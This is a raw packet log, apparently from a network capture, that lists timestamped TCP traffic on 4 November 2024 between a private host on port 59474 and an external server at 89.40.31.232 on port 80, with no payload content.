Nov 4, 2024 16:52:38.322803974 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322810888 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322810888 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.322859049 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.322859049 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.322894096 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322900057 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322911978 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322917938 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322931051 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322940111 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322943926 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322952986 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.322956085 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322962046 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322968960 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.322993040 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.323057890 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323077917 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323084116 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323086977 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.323090076 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323096037 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323100090 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323112011 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323117971 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323128939 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323134899 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323139906 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.323139906 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323148966 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323152065 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.323154926 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323167086 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323173046 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323178053 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323189974 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323199987 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.323223114 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323227882 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323239088 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323245049 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323250055 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323252916 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.323256016 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323262930 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323270082 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323292971 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.323298931 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.323422909 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323430061 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323441029 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323445082 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323451042 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323452950 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.323467016 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323472023 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323486090 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323492050 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323504925 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323510885 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323515892 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.323517084 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323523998 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323523998 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.323535919 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323540926 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323545933 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323545933 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.323553085 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323565960 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323573112 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323589087 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323594093 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.323595047 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323601007 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323606968 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323618889 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323625088 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323630095 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.323631048 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323637009 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323637962 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.323642969 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323648930 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323654890 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323668957 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323674917 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.323674917 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323681116 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323688984 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323700905 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323705912 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323712111 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323714972 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.323714972 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.323719025 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323731899 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323739052 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323745966 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.323817968 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323823929 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323834896 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323837996 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.323843002 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323848963 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323853970 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323864937 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323869944 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323880911 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.323880911 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.323929071 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323935032 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323945045 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323951006 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323959112 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323961973 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.323966026 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323983908 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323988914 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.323991060 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.323995113 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324002981 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324008942 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324011087 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.324014902 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324039936 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.324040890 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324048042 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324053049 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324059010 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324064970 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324068069 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.324070930 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324095964 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.324157953 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324161053 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324167013 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324183941 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.324189901 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324218035 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324223042 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324228048 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324232101 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.324244022 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324255943 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324261904 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324266911 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.324268103 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324266911 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.324276924 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324305058 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.324340105 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.324340105 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.324372053 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324385881 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324393034 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324398041 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324404955 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324417114 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.324424028 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324430943 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324441910 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324448109 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324453115 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324453115 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.324460030 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324480057 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324485064 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.324485064 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.324490070 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324496031 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324501991 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324506044 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.324507952 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324520111 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324527025 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324532986 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.324578047 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.324578047 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.324584961 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324590921 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324605942 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324620962 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324626923 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324637890 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324642897 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324649096 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.324650049 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324682951 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324688911 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324695110 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.324695110 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.324738026 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324745893 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324840069 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324846983 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324858904 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324863911 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324870110 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324871063 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.324877977 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324894905 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324899912 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324903011 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.324907064 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324954033 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.324954033 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.324959040 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324965000 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324976921 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.324982882 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.325021029 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.326416016 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.373446941 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373486996 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373495102 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373502970 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373508930 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373523951 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373589993 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373595953 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373610973 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373615980 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373622894 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373627901 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.373627901 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.373668909 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.373748064 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373754025 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373765945 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373773098 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373779058 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373780012 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.373785973 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373799086 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373805046 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373811007 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.373826027 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.373826981 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373835087 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373841047 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373847008 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373848915 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.373855114 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373863935 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373873949 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.373903036 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.373903036 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.373939991 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373946905 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373960972 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373966932 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373972893 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373979092 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373985052 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.373991013 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374010086 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.374094963 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.374104977 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374110937 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374124050 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374130964 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374136925 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374142885 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374154091 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374161005 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374172926 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374180079 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374191046 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.374208927 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.374208927 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.374350071 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374357939 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374372005 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374377012 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374382973 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374389887 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374388933 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.374397039 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374419928 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.374532938 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374536991 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.374541998 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374556065 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374561071 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374573946 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374579906 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374587059 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374598980 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374604940 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374609947 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.374610901 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374617100 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374623060 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.374624014 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374630928 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374644041 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374649048 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374655008 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374656916 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.374661922 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374674082 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.374686956 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.374728918 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.374728918 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.424365997 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424391985 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424401045 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424427032 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424443007 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424455881 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424463034 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424468994 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424493074 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424499035 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424509048 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424510956 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.424549103 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.424643040 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424649000 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424662113 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424668074 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424673080 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424674034 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.424679995 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424686909 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424699068 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424709082 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424711943 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.424711943 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.424777031 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.424777031 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.424791098 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424798965 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424810886 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424817085 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424823999 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424837112 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.424844027 CET	80	59474	89.40.31.232	192.168.2.6
